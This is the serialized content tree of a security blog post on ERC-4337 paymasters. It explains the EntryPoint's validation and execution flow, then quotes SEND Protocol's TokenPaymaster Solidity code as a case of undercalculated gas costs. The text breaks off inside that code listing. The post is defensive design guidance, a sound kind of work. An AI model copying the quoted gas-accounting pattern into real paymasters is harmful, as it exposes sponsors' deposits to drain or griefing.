[{"data":1,"prerenderedAt":167968},["ShallowReactive",2],{"blog-/blog/2025-12-02-paymasters-evm":3,"featured-blog-posts":5989},{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":8,"description":9,"date":10,"author":11,"image":12,"isFeatured":16,"onBlogPage":16,"tags":17,"body":20,"_type":5983,"_id":5984,"_source":5985,"_file":5986,"_stem":5987,"_extension":5988},"/blog/2025-12-02-paymasters-evm","blog",false,"","ERC-4337 Paymasters: Better UX, Hidden Risks","ERC-4337 paymasters unlock powerful UX by abstracting gas costs, but they also add complexity and subtle bugs. Explore some common pitfalls in real-world implementations and learn how to design production-ready paymasters.","2025-12-02T12:00:00.000Z","nicholas",{"src":13,"width":14,"height":15},"/posts/paymasters-evm/title.png",1536,1024,true,[18,19],"evm","ERC-4337",{"type":21,"children":22,"toc":5962},"root",[23,32,46,51,56,61,67,74,79,84,90,95,125,131,136,145,150,162,167,193,199,220,226,246,255,288,321,330,342,367,379,392,437,443,477,579,598,621,626,632,660,808,813,840,846,858,870,879,914,919,2529,2557,2578,2583,2595,2604,2609,2628,2651,2656,2662,2717,2723,2756,2791,3630,3666,3703,3770,3803,4303,4356,4368,4938,5007,5034,5662,5704,5732,5744,5806,5825,5859,5864,5869,5874,5880,5885,5920,5946,5951,5956],{"type":24,"tag":25,"props":26,"children":28},"element","h1",{"id":27},"introduction",[29],{"type":30,"value":31},"text","Introduction",{"type":24,"tag":33,"props":34,"children":35},"p",{},[36,44],{"type":24,"tag":37,"props":38,"children":42},"a",{"href":39,"rel":40},"https://docs.erc4337.io/",[41],"nofollow",[43],{"type":30,"value":19},{"type":30,"value":45}," (Account Abstraction) has unlocked a new wave of UX improvements for Ethereum. By decoupling users from EOAs (Externally Owned Accounts), it enables smart contract wallets, gas sponsorships, and flexible authentication mechanisms.",{"type":24,"tag":33,"props":47,"children":48},{},[49],{"type":30,"value":50},"One of the most powerful features introduced by ERC-4337 is the paymaster, a contract that can sponsor gas fees for users. This allows dApps to deliver seamless, “gasless” experiences where users don’t have to hold ETH to transact.",{"type":24,"tag":33,"props":52,"children":53},{},[54],{"type":30,"value":55},"However, building a correct paymaster isn’t trivial. We’ve seen many developers trip up on subtle details of the standard, which can cause unexpected behavior or unnecessary complexity.",{"type":24,"tag":33,"props":57,"children":58},{},[59],{"type":30,"value":60},"In this article, we’ll break down how ERC-4337 works at a high level, zoom in on the paymaster’s role, and walk through the most common pitfalls we’ve observed when implementing paymasters. By the end, you’ll have a clear picture of how to design paymasters that follow best practices and are production-ready.",{"type":24,"tag":25,"props":62,"children":64},{"id":63},"erc4337-overview",[65],{"type":30,"value":66},"ERC4337 Overview",{"type":24,"tag":68,"props":69,"children":71},"h2",{"id":70},"traditional-eoas-vs-smart-contract-wallets",[72],{"type":30,"value":73},"Traditional EOAs vs Smart Contract Wallets",{"type":24,"tag":33,"props":75,"children":76},{},[77],{"type":30,"value":78},"In Ethereum’s early design, user accounts are Externally Owned Accounts (EOAs), controlled by a private key. When you send a transaction (e.g. token transfer or contract call), your private key signs the transaction, and you must pay gas in ETH. If the key is lost or stolen, you lose access to everything permanently. This setup is simple, but also rigid and risky.",{"type":24,"tag":33,"props":80,"children":81},{},[82],{"type":30,"value":83},"By contrast, smart contract accounts (or \"smart wallets\") are programmable. They can enforce logic like multiple signatures, spending limits, social recovery, batching, and more, automating many aspects of security and usability.",{"type":24,"tag":68,"props":85,"children":87},{"id":86},"why-erc4337-was-introduced",[88],{"type":30,"value":89},"Why ERC‑4337 Was Introduced",{"type":24,"tag":33,"props":91,"children":92},{},[93],{"type":30,"value":94},"Smart wallets offer powerful features, but Ethereum’s protocol restricts transactions to originate only from EOAs. Previous proposals (e.g. EIP‑2938, EIP‑3074) tried to change the protocol itself, requiring a hard fork. ERC‑4337 achieves account abstraction entirely off‑chain, using higher-layer infrastructure without any changes to Ethereum’s consensus layer. This unlocks key UX improvements:",{"type":24,"tag":96,"props":97,"children":98},"ul",{},[99,105,110,115,120],{"type":24,"tag":100,"props":101,"children":102},"li",{},[103],{"type":30,"value":104},"User recovery for lost keys (e.g. social recovery)",{"type":24,"tag":100,"props":106,"children":107},{},[108],{"type":30,"value":109},"Batched or atomic multi-step operations in one flow",{"type":24,"tag":100,"props":111,"children":112},{},[113],{"type":30,"value":114},"Paying gas fees with ERC‑20 tokens or via sponsor (gasless UX)",{"type":24,"tag":100,"props":116,"children":117},{},[118],{"type":30,"value":119},"Using custom signature schemes or multisig logic",{"type":24,"tag":100,"props":121,"children":122},{},[123],{"type":30,"value":124},"Creation and use of smart contract wallets without needing ETH or seed phrase upfront",{"type":24,"tag":68,"props":126,"children":128},{"id":127},"how-erc-4337-works",[129],{"type":30,"value":130},"How ERC-4337 Works",{"type":24,"tag":33,"props":132,"children":133},{},[134],{"type":30,"value":135},"Before diving into each component, let's look at how ERC-4337 works at a high level:",{"type":24,"tag":33,"props":137,"children":138},{},[139],{"type":24,"tag":140,"props":141,"children":144},"img",{"alt":142,"src":143},"image","/posts/paymasters-evm/flowchart.png",[],{"type":24,"tag":33,"props":146,"children":147},{},[148],{"type":30,"value":149},"The diagram above shows the key flow of ERC-4337. Below is a short explanation of each component shown above.",{"type":24,"tag":151,"props":152,"children":154},"h3",{"id":153},"useroperation",[155],{"type":24,"tag":156,"props":157,"children":159},"code",{"className":158},[],[160],{"type":30,"value":161},"UserOperation",{"type":24,"tag":33,"props":163,"children":164},{},[165],{"type":30,"value":166},"A UserOperation is a pseudo‑transaction object representing the user’s intent. It includes data like:",{"type":24,"tag":96,"props":168,"children":169},{},[170,175,180],{"type":24,"tag":100,"props":171,"children":172},{},[173],{"type":30,"value":174},"Target contract call(s)",{"type":24,"tag":100,"props":176,"children":177},{},[178],{"type":30,"value":179},"Signature or validation metadata",{"type":24,"tag":100,"props":181,"children":182},{},[183,185,191],{"type":30,"value":184},"Gas limits and fee payment details (wallet address, paymaster, bundler)\n",{"type":24,"tag":156,"props":186,"children":188},{"className":187},[],[189],{"type":30,"value":190},"UserOperations",{"type":30,"value":192}," are submitted to a separate mempool (often called alt‑mempool), not the regular Ethereum transaction pool.",{"type":24,"tag":151,"props":194,"children":196},{"id":195},"smart-contract-account",[197],{"type":30,"value":198},"Smart Contract Account",{"type":24,"tag":33,"props":200,"children":201},{},[202,204,210,212,218],{"type":30,"value":203},"Often called Sender or Smart Account, this is a user-controlled contract implementing logic via ",{"type":24,"tag":156,"props":205,"children":207},{"className":206},[],[208],{"type":30,"value":209},"validateUserOp()",{"type":30,"value":211}," and ",{"type":24,"tag":156,"props":213,"children":215},{"className":214},[],[216],{"type":30,"value":217},"executeUserOp()",{"type":30,"value":219},". It specifies custom rules: signature checking, nonce logic, allowed calls, or spending limits.",{"type":24,"tag":151,"props":221,"children":223},{"id":222},"bundler",[224],{"type":30,"value":225},"Bundler",{"type":24,"tag":33,"props":227,"children":228},{},[229,231,236,238,244],{"type":30,"value":230},"A Bundler is an off‑chain service or node monitoring the alt‑mempool. It collects multiple ",{"type":24,"tag":156,"props":232,"children":234},{"className":233},[],[235],{"type":30,"value":190},{"type":30,"value":237},", packages them, and submits them in a single transaction to the ",{"type":24,"tag":156,"props":239,"children":241},{"className":240},[],[242],{"type":30,"value":243},"EntryPoint",{"type":30,"value":245}," contract. Bundlers must use an EOA to pay gas upfront and are later reimbursed.",{"type":24,"tag":151,"props":247,"children":249},{"id":248},"entrypoint",[250],{"type":24,"tag":156,"props":251,"children":253},{"className":252},[],[254],{"type":30,"value":243},{"type":24,"tag":33,"props":256,"children":257},{},[258,260,265,267,272,274,279,281,286],{"type":30,"value":259},"The ",{"type":24,"tag":156,"props":261,"children":263},{"className":262},[],[264],{"type":30,"value":243},{"type":30,"value":266}," contract acts as the central on-chain gateway for ERC-4337. For every batch of ",{"type":24,"tag":156,"props":268,"children":270},{"className":269},[],[271],{"type":30,"value":190},{"type":30,"value":273}," submitted by a ",{"type":24,"tag":275,"props":276,"children":277},"strong",{},[278],{"type":30,"value":225},{"type":30,"value":280},", the ",{"type":24,"tag":156,"props":282,"children":284},{"className":283},[],[285],{"type":30,"value":243},{"type":30,"value":287}," validates and routes each operation back to the corresponding Smart Contract Wallet for execution.",{"type":24,"tag":33,"props":289,"children":290},{},[291,293,298,300,304,306,311,313,319],{"type":30,"value":292},"Once all operations have been processed, the ",{"type":24,"tag":156,"props":294,"children":296},{"className":295},[],[297],{"type":30,"value":243},{"type":30,"value":299}," calculates the total gas consumed and reimburses the ",{"type":24,"tag":275,"props":301,"children":302},{},[303],{"type":30,"value":225},{"type":30,"value":305},". This payment can come either directly from the sender's Smart Account deposit in the ",{"type":24,"tag":156,"props":307,"children":309},{"className":308},[],[310],{"type":30,"value":243},{"type":30,"value":312}," or from a ",{"type":24,"tag":156,"props":314,"children":316},{"className":315},[],[317],{"type":30,"value":318},"paymaster",{"type":30,"value":320}," that has agreed to sponsor the transaction.",{"type":24,"tag":151,"props":322,"children":323},{"id":318},[324],{"type":24,"tag":156,"props":325,"children":327},{"className":326},[],[328],{"type":30,"value":329},"Paymaster",{"type":24,"tag":33,"props":331,"children":332},{},[333,335,340],{"type":30,"value":334},"A ",{"type":24,"tag":156,"props":336,"children":338},{"className":337},[],[339],{"type":30,"value":318},{"type":30,"value":341}," is an optional smart contract that enables flexible gas payment options. It can either sponsor gas fees directly or allow users to pay gas using ERC-20 tokens instead of ETH. It runs two key functions:",{"type":24,"tag":96,"props":343,"children":344},{},[345,356],{"type":24,"tag":100,"props":346,"children":347},{},[348,354],{"type":24,"tag":156,"props":349,"children":351},{"className":350},[],[352],{"type":30,"value":353},"validatePaymasterUserOp()",{"type":30,"value":355}," to validate the operation. This can check sponsorship eligibility or verify that the user has sufficient ERC-20 token balance and allowance to cover gas costs. The exact implementation of the function depends on how the protocol implements it.",{"type":24,"tag":100,"props":357,"children":358},{},[359,365],{"type":24,"tag":156,"props":360,"children":362},{"className":361},[],[363],{"type":30,"value":364},"postOp()",{"type":30,"value":366},", which handles post-execution accounting. For sponsored transactions, this may update internal accounting records, while for token payments, it typically finalizes any accounting related to the ERC-20 token payment.",{"type":24,"tag":33,"props":368,"children":369},{},[370,372,377],{"type":30,"value":371},"By supporting both sponsorship and token-based gas payments, ",{"type":24,"tag":156,"props":373,"children":375},{"className":374},[],[376],{"type":30,"value":318},{"type":30,"value":378}," removes the requirement for users to hold ETH, enabling truly gasless transactions through either model.",{"type":24,"tag":68,"props":380,"children":382},{"id":381},"understanding-the-entrypoints-flow",[383,385,390],{"type":30,"value":384},"Understanding the ",{"type":24,"tag":156,"props":386,"children":388},{"className":387},[],[389],{"type":30,"value":243},{"type":30,"value":391},"'s Flow",{"type":24,"tag":33,"props":393,"children":394},{},[395,397,402,404,409,411,422,424,429,430,435],{"type":30,"value":396},"When a bundler submits ",{"type":24,"tag":156,"props":398,"children":400},{"className":399},[],[401],{"type":30,"value":190},{"type":30,"value":403}," to the ",{"type":24,"tag":156,"props":405,"children":407},{"className":406},[],[408],{"type":30,"value":243},{"type":30,"value":410}," contract via ",{"type":24,"tag":37,"props":412,"children":415},{"href":413,"rel":414},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L58",[41],[416],{"type":24,"tag":156,"props":417,"children":419},{"className":418},[],[420],{"type":30,"value":421},"handleOps()",{"type":30,"value":423},", the processing occurs in two main phases: ",{"type":24,"tag":275,"props":425,"children":426},{},[427],{"type":30,"value":428},"Validation",{"type":30,"value":211},{"type":24,"tag":275,"props":431,"children":432},{},[433],{"type":30,"value":434},"Execution",{"type":30,"value":436},".",{"type":24,"tag":151,"props":438,"children":440},{"id":439},"validation-phase",[441],{"type":30,"value":442},"Validation Phase",{"type":24,"tag":33,"props":444,"children":445},{},[446,448,453,455,461,463,469,470,475],{"type":30,"value":447},"In this phase, the ",{"type":24,"tag":156,"props":449,"children":451},{"className":450},[],[452],{"type":30,"value":243},{"type":30,"value":454}," first validates all operations in the submitted ",{"type":24,"tag":156,"props":456,"children":458},{"className":457},[],[459],{"type":30,"value":460},"UserOps",{"type":30,"value":462}," array before executing any of them. This ensures that only valid operations proceed to execution. For each ",{"type":24,"tag":156,"props":464,"children":466},{"className":465},[],[467],{"type":30,"value":468},"UserOp",{"type":30,"value":280},{"type":24,"tag":156,"props":471,"children":473},{"className":472},[],[474],{"type":30,"value":243},{"type":30,"value":476},":",{"type":24,"tag":478,"props":479,"children":480},"ol",{},[481,499,518,539,551],{"type":24,"tag":100,"props":482,"children":483},{},[484,491,493],{"type":24,"tag":37,"props":485,"children":488},{"href":486,"rel":487},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L764-L777",[41],[489],{"type":30,"value":490},"Calculates",{"type":30,"value":492}," the required prefund amount by summing up all specified gas limits (verification, execution, and paymaster if used) multiplied by the user's specified ",{"type":24,"tag":156,"props":494,"children":496},{"className":495},[],[497],{"type":30,"value":498},"maxFeePerGas",{"type":24,"tag":100,"props":500,"children":501},{},[502,509,511,516],{"type":24,"tag":37,"props":503,"children":506},{"href":504,"rel":505},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L545-L553",[41],[507],{"type":30,"value":508},"Calls",{"type":30,"value":510}," ",{"type":24,"tag":156,"props":512,"children":514},{"className":513},[],[515],{"type":30,"value":209},{"type":30,"value":517}," on the sender's smart account contract to verify the operation's validity (e.g. checking signatures)",{"type":24,"tag":100,"props":519,"children":520},{},[521,523,530,532,537],{"type":30,"value":522},"If no paymaster is specified, attempts to ",{"type":24,"tag":37,"props":524,"children":527},{"href":525,"rel":526},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L554-L557",[41],[528],{"type":30,"value":529},"deduct",{"type":30,"value":531}," the prefund amount from the sender's ETH deposit in the ",{"type":24,"tag":156,"props":533,"children":535},{"className":534},[],[536],{"type":30,"value":243},{"type":30,"value":538}," (this can be partially refunded later if actual execution costs less)",{"type":24,"tag":100,"props":540,"children":541},{},[542,549],{"type":24,"tag":37,"props":543,"children":546},{"href":544,"rel":545},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L785-L788",[41],[547],{"type":30,"value":548},"Validates",{"type":30,"value":550}," the nonce to prevent replay attacks",{"type":24,"tag":100,"props":552,"children":553},{},[554,556,562,564,571,572,577],{"type":30,"value":555},"If a paymaster is specified, it will ",{"type":24,"tag":37,"props":557,"children":560},{"href":558,"rel":559},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L623-L627",[41],[561],{"type":30,"value":529},{"type":30,"value":563}," the required prefund amount from the paymaster's deposited ETH and then ",{"type":24,"tag":37,"props":565,"children":568},{"href":566,"rel":567},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L629",[41],[569],{"type":30,"value":570},"call",{"type":30,"value":510},{"type":24,"tag":156,"props":573,"children":575},{"className":574},[],[576],{"type":30,"value":353},{"type":30,"value":578}," on the paymaster contract to verify it will cover gas costs",{"type":24,"tag":33,"props":580,"children":581},{},[582,584,589,591,596],{"type":30,"value":583},"Only after all these validation checks pass will the ",{"type":24,"tag":156,"props":585,"children":587},{"className":586},[],[588],{"type":30,"value":243},{"type":30,"value":590}," move on to actually executing the ",{"type":24,"tag":156,"props":592,"children":594},{"className":593},[],[595],{"type":30,"value":161},{"type":30,"value":597},". This strict validation flow ensures that:",{"type":24,"tag":96,"props":599,"children":600},{},[601,606,611,616],{"type":24,"tag":100,"props":602,"children":603},{},[604],{"type":30,"value":605},"The operation is legitimate and authorized by the user",{"type":24,"tag":100,"props":607,"children":608},{},[609],{"type":30,"value":610},"Sufficient funds are available to cover gas (either from user or paymaster)",{"type":24,"tag":100,"props":612,"children":613},{},[614],{"type":30,"value":615},"The operation cannot be replayed",{"type":24,"tag":100,"props":617,"children":618},{},[619],{"type":30,"value":620},"All involved contracts (sender and paymaster) have approved the execution",{"type":24,"tag":33,"props":622,"children":623},{},[624],{"type":30,"value":625},"This multi-layered validation approach is crucial for maintaining security when processing operations that can involve complex smart account logic and third-party gas sponsorship.",{"type":24,"tag":151,"props":627,"children":629},{"id":628},"execution-phase",[630],{"type":30,"value":631},"Execution Phase",{"type":24,"tag":33,"props":633,"children":634},{},[635,637,642,644,651,653,658],{"type":30,"value":636},"After all operations have passed validation, the ",{"type":24,"tag":156,"props":638,"children":640},{"className":639},[],[641],{"type":30,"value":243},{"type":30,"value":643}," begins the ",{"type":24,"tag":37,"props":645,"children":648},{"href":646,"rel":647},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L70-L72",[41],[649],{"type":30,"value":650},"execution",{"type":30,"value":652}," phase, processing each ",{"type":24,"tag":156,"props":654,"children":656},{"className":655},[],[657],{"type":30,"value":161},{"type":30,"value":659}," individually. For each operation, the flow is:",{"type":24,"tag":478,"props":661,"children":662},{},[663,724,770],{"type":24,"tag":100,"props":664,"children":665},{},[666,667,672,674,680,682,688,690],{"type":30,"value":259},{"type":24,"tag":156,"props":668,"children":670},{"className":669},[],[671],{"type":30,"value":243},{"type":30,"value":673}," makes a ",{"type":24,"tag":37,"props":675,"children":678},{"href":676,"rel":677},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L213-L232",[41],[679],{"type":30,"value":570},{"type":30,"value":681}," to ",{"type":24,"tag":156,"props":683,"children":685},{"className":684},[],[686],{"type":30,"value":687},"innerHandleOp()",{"type":30,"value":689},", which:\n",{"type":24,"tag":96,"props":691,"children":692},{},[693,705,710],{"type":24,"tag":100,"props":694,"children":695},{},[696,703],{"type":24,"tag":37,"props":697,"children":700},{"href":698,"rel":699},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L403",[41],[701],{"type":30,"value":702},"Forwards",{"type":30,"value":704}," the operation to the sender's smart account contract",{"type":24,"tag":100,"props":706,"children":707},{},[708],{"type":30,"value":709},"Executes the intended transaction(s) within the smart account",{"type":24,"tag":100,"props":711,"children":712},{},[713,715,722],{"type":30,"value":714},"Handles ",{"type":24,"tag":37,"props":716,"children":719},{"href":717,"rel":718},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L821",[41],[720],{"type":30,"value":721},"post-execution",{"type":30,"value":723}," tasks and cleanup",{"type":24,"tag":100,"props":725,"children":726},{},[727,729,735,737,743,744,750,752],{"type":30,"value":728},"If a paymaster was used, ",{"type":24,"tag":156,"props":730,"children":732},{"className":731},[],[733],{"type":30,"value":734},"Entrypoint",{"type":30,"value":736}," will ",{"type":24,"tag":37,"props":738,"children":741},{"href":739,"rel":740},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L848-L857",[41],[742],{"type":30,"value":570},{"type":30,"value":510},{"type":24,"tag":156,"props":745,"children":747},{"className":746},[],[748],{"type":30,"value":749},"paymaster.postOp()",{"type":30,"value":751}," to:\n",{"type":24,"tag":96,"props":753,"children":754},{},[755,760,765],{"type":24,"tag":100,"props":756,"children":757},{},[758],{"type":30,"value":759},"Allow paymaster to finalize its accounting",{"type":24,"tag":100,"props":761,"children":762},{},[763],{"type":30,"value":764},"Process any refunds or additional charges",{"type":24,"tag":100,"props":766,"children":767},{},[768],{"type":30,"value":769},"Complete any paymaster-specific logic",{"type":24,"tag":100,"props":771,"children":772},{},[773,775,780,781,788,790],{"type":30,"value":774},"Finally, after all operations are processed, the ",{"type":24,"tag":156,"props":776,"children":778},{"className":777},[],[779],{"type":30,"value":243},{"type":30,"value":510},{"type":24,"tag":37,"props":782,"children":785},{"href":783,"rel":784},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L74",[41],[786],{"type":30,"value":787},"compensates",{"type":30,"value":789}," the bundler for:\n",{"type":24,"tag":96,"props":791,"children":792},{},[793,798,803],{"type":24,"tag":100,"props":794,"children":795},{},[796],{"type":30,"value":797},"Gas costs from executing all operations",{"type":24,"tag":100,"props":799,"children":800},{},[801],{"type":30,"value":802},"Overhead from submitting the batch transaction",{"type":24,"tag":100,"props":804,"children":805},{},[806],{"type":30,"value":807},"Any unused gas, which is refunded",{"type":24,"tag":33,"props":809,"children":810},{},[811],{"type":30,"value":812},"This execution flow ensures secure and atomic operation execution, accurate tracking and settlement of gas costs, support for custom paymaster payment logic, and proper compensation for bundlers who provide the transaction submission service.",{"type":24,"tag":33,"props":814,"children":815},{},[816,818,823,825,831,833,838],{"type":30,"value":817},"Now that we understand how the ",{"type":24,"tag":156,"props":819,"children":821},{"className":820},[],[822],{"type":30,"value":243},{"type":30,"value":824}," works at a high level, let's examine how some protocols have failed to properly implement ",{"type":24,"tag":156,"props":826,"children":828},{"className":827},[],[829],{"type":30,"value":830},"paymasters",{"type":30,"value":832}," that align with the ",{"type":24,"tag":156,"props":834,"children":836},{"className":835},[],[837],{"type":30,"value":243},{"type":30,"value":839},"'s execution model, leading to potential vulnerabilities.",{"type":24,"tag":25,"props":841,"children":843},{"id":842},"common-pitfalls-in-paymaster-implementation",[844],{"type":30,"value":845},"Common Pitfalls in Paymaster Implementation",{"type":24,"tag":33,"props":847,"children":848},{},[849,851,856],{"type":30,"value":850},"While paymasters offer powerful flexibility, they also introduce new complexity, and with it, room for subtle bugs. Missteps in paymaster design can not only break gas sponsorship flows, but also expose their deposited ETH in the ",{"type":24,"tag":156,"props":852,"children":854},{"className":853},[],[855],{"type":30,"value":243},{"type":30,"value":857}," to exploitation or griefing.",{"type":24,"tag":33,"props":859,"children":860},{},[861,863,868],{"type":30,"value":862},"In this section, we’ll walk through the ",{"type":24,"tag":275,"props":864,"children":865},{},[866],{"type":30,"value":867},"two most common pitfalls",{"type":30,"value":869}," we’ve observed in real-world paymaster implementations:",{"type":24,"tag":68,"props":871,"children":873},{"id":872},"undercalculated-gas-costs",[874],{"type":24,"tag":275,"props":875,"children":876},{},[877],{"type":30,"value":878},"Undercalculated Gas Costs",{"type":24,"tag":33,"props":880,"children":881},{},[882,884,889,891,896,898,903,905,912],{"type":30,"value":883},"To understand this issue, let's first examine how gas penalties work in the ",{"type":24,"tag":156,"props":885,"children":887},{"className":886},[],[888],{"type":30,"value":243},{"type":30,"value":890},". When a ",{"type":24,"tag":156,"props":892,"children":894},{"className":893},[],[895],{"type":30,"value":161},{"type":30,"value":897}," specifies an execution gas limit higher than what's actually used during execution, the ",{"type":24,"tag":156,"props":899,"children":901},{"className":900},[],[902],{"type":30,"value":243},{"type":30,"value":904}," charges a ",{"type":24,"tag":37,"props":906,"children":909},{"href":907,"rel":908},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.7/contracts/core/EntryPoint.sol#L718-L728",[41],[910],{"type":30,"value":911},"penalty of 10%",{"type":30,"value":913}," of the unused gas. This penalty is paid to the bundler and is deducted from either the user's deposit (for regular transactions) or the paymaster's deposit (when using a paymaster).",{"type":24,"tag":33,"props":915,"children":916},{},[917],{"type":30,"value":918},"Now, let's examine a real-world example of how this penalty mechanism could impact paymasters. The SEND Protocol's paymaster implementation provides an instructive case study:",{"type":24,"tag":920,"props":921,"children":925},"pre",{"className":922,"code":923,"language":924,"meta":7,"style":7},"language-solidity shiki shiki-themes slack-dark","contract TokenPaymaster is BasePaymaster, UniswapHelper, OracleHelper {\n[...]\n    function _validatePaymasterUserOp(PackedUserOperation calldata userOp, bytes32, uint256 requiredPreFund)\n        internal\n        override\n        returns (bytes memory context, uint256 validationResult)\n    {\n        unchecked {\n            uint256 priceMarkup = tokenPaymasterConfig.priceMarkup;\n            uint256 baseFee = tokenPaymasterConfig.baseFee;\n            uint256 dataLength = userOp.paymasterAndData.length - PAYMASTER_DATA_OFFSET;\n            require(dataLength == 0 || dataLength == 32, \"TPM: invalid data length\");\n            uint256 maxFeePerGas = userOp.unpackMaxFeePerGas();\n            uint256 refundPostopCost = tokenPaymasterConfig.refundPostopCost;\n            require(refundPostopCost \u003C userOp.unpackPostOpGasLimit(), \"TPM: postOpGasLimit too low\");\n            uint256 preChargeNative = requiredPreFund + (refundPostopCost * maxFeePerGas);\n            // note: price is in native-asset-per-token increasing it means dividing it by markup\n            uint256 cachedPriceWithMarkup = cachedPrice * DENOM / priceMarkup;\n            if (dataLength == 32) {\n                uint256 clientSuppliedPrice =\n                    uint256(bytes32(userOp.paymasterAndData[PAYMASTER_DATA_OFFSET:PAYMASTER_DATA_OFFSET + 32]));\n                if (clientSuppliedPrice \u003C cachedPriceWithMarkup) {\n                    // note: smaller number means 'more native asset per token'\n                    cachedPriceWithMarkup = clientSuppliedPrice;\n                }\n            }\n            uint256 tokenAmount = weiToToken(preChargeNative, cachedPriceWithMarkup);\n            tokenAmount += baseFee;\n            SafeERC20.safeTransferFrom(token, userOp.sender, address(this), tokenAmount);\n            context = abi.encode(tokenAmount, userOp.sender);\n            validationResult =\n                _packValidationData(false, uint48(cachedPriceTimestamp + tokenPaymasterConfig.priceMaxAge), 0);\n        }\n    }\n[...]\n    function _postOp(PostOpMode, bytes calldata context, uint256 actualGasCost, uint256 actualUserOpFeePerGas)\n        internal\n        override\n    {\n        unchecked {\n            uint256 priceMarkup = tokenPaymasterConfig.priceMarkup;\n            uint256 baseFee = tokenPaymasterConfig.baseFee;\n            (uint256 preCharge, address userOpSender) = abi.decode(context, (uint256, address));\n            preCharge -= baseFee; // don't refund the base fee\n            uint256 _cachedPrice = updateCachedPrice(false);\n            // note: price is in native-asset-per-token increasing it means dividing it by markup\n            uint256 cachedPriceWithMarkup = _cachedPrice * DENOM / priceMarkup;\n            // Refund tokens based on actual gas cost\n            uint256 actualChargeNative = actualGasCost + tokenPaymasterConfig.refundPostopCost * actualUserOpFeePerGas;\n            uint256 actualTokenNeeded = weiToToken(actualChargeNative, cachedPriceWithMarkup);\n            if (preCharge > actualTokenNeeded) {\n                // If initially provided token amount is greater than the actual amount needed, refund the difference\n                SafeERC20.safeTransfer(token, userOpSender, preCharge - actualTokenNeeded);\n            } else if (preCharge \u003C actualTokenNeeded) {\n                // Attempt to cover Paymaster's gas expenses by withdrawing the 'overdraft' from the client\n                // If the transfer reverts also revert the 'postOp' to remove the incentive to cheat\n                SafeERC20.safeTransferFrom(token, userOpSender, address(this), actualTokenNeeded - preCharge);\n            }\n\n            if (baseFee > 0) {\n                SafeERC20.safeTransfer(token, tokenPaymasterConfig.rewardsPool, baseFee);\n            }\n\n            emit UserOperationSponsored(userOpSender, actualTokenNeeded, actualGasCost, cachedPriceWithMarkup, baseFee);\n            refillEntryPointDeposit(_cachedPrice);\n        }\n    }\n}\n","solidity",[926],{"type":24,"tag":156,"props":927,"children":928},{"__ignoreMap":7},[929,982,991,1055,1064,1073,1120,1129,1142,1167,1189,1221,1279,1311,1333,1374,1416,1436,1477,1504,1523,1567,1590,1608,1626,1635,1644,1671,1690,1728,1760,1773,1823,1832,1841,1849,1917,1925,1933,1941,1953,1973,1993,2059,2083,2117,2133,2169,2178,2218,2244,2267,2276,2304,2335,2344,2353,2396,2404,2413,2438,2455,2463,2471,2490,2504,2512,2520],{"type":24,"tag":930,"props":931,"children":934},"span",{"class":932,"line":933},"line",1,[935,941,947,952,957,963,968,972,977],{"type":24,"tag":930,"props":936,"children":938},{"style":937},"--shiki-default:#569CD6",[939],{"type":30,"value":940},"contract",{"type":24,"tag":930,"props":942,"children":944},{"style":943},"--shiki-default:#4EC9B0",[945],{"type":30,"value":946}," TokenPaymaster",{"type":24,"tag":930,"props":948,"children":949},{"style":937},[950],{"type":30,"value":951}," is",{"type":24,"tag":930,"props":953,"children":954},{"style":943},[955],{"type":30,"value":956}," BasePaymaster",{"type":24,"tag":930,"props":958,"children":960},{"style":959},"--shiki-default:#E6E6E6",[961],{"type":30,"value":962},", ",{"type":24,"tag":930,"props":964,"children":965},{"style":943},[966],{"type":30,"value":967},"UniswapHelper",{"type":24,"tag":930,"props":969,"children":970},{"style":959},[971],{"type":30,"value":962},{"type":24,"tag":930,"props":973,"children":974},{"style":943},[975],{"type":30,"value":976},"OracleHelper",{"type":24,"tag":930,"props":978,"children":979},{"style":959},[980],{"type":30,"value":981}," {\n",{"type":24,"tag":930,"props":983,"children":985},{"class":932,"line":984},2,[986],{"type":24,"tag":930,"props":987,"children":988},{"style":959},[989],{"type":30,"value":990},"[...]\n",{"type":24,"tag":930,"props":992,"children":994},{"class":932,"line":993},3,[995,1000,1006,1011,1016,1021,1027,1031,1036,1040,1045,1050],{"type":24,"tag":930,"props":996,"children":997},{"style":937},[998],{"type":30,"value":999},"    function",{"type":24,"tag":930,"props":1001,"children":1003},{"style":1002},"--shiki-default:#DCDCAA",[1004],{"type":30,"value":1005}," _validatePaymasterUserOp",{"type":24,"tag":930,"props":1007,"children":1008},{"style":959},[1009],{"type":30,"value":1010},"(",{"type":24,"tag":930,"props":1012,"children":1013},{"style":937},[1014],{"type":30,"value":1015},"PackedUserOperation",{"type":24,"tag":930,"props":1017,"children":1018},{"style":937},[1019],{"type":30,"value":1020}," calldata",{"type":24,"tag":930,"props":1022,"children":1024},{"style":1023},"--shiki-default:#9CDCFE",[1025],{"type":30,"value":1026}," 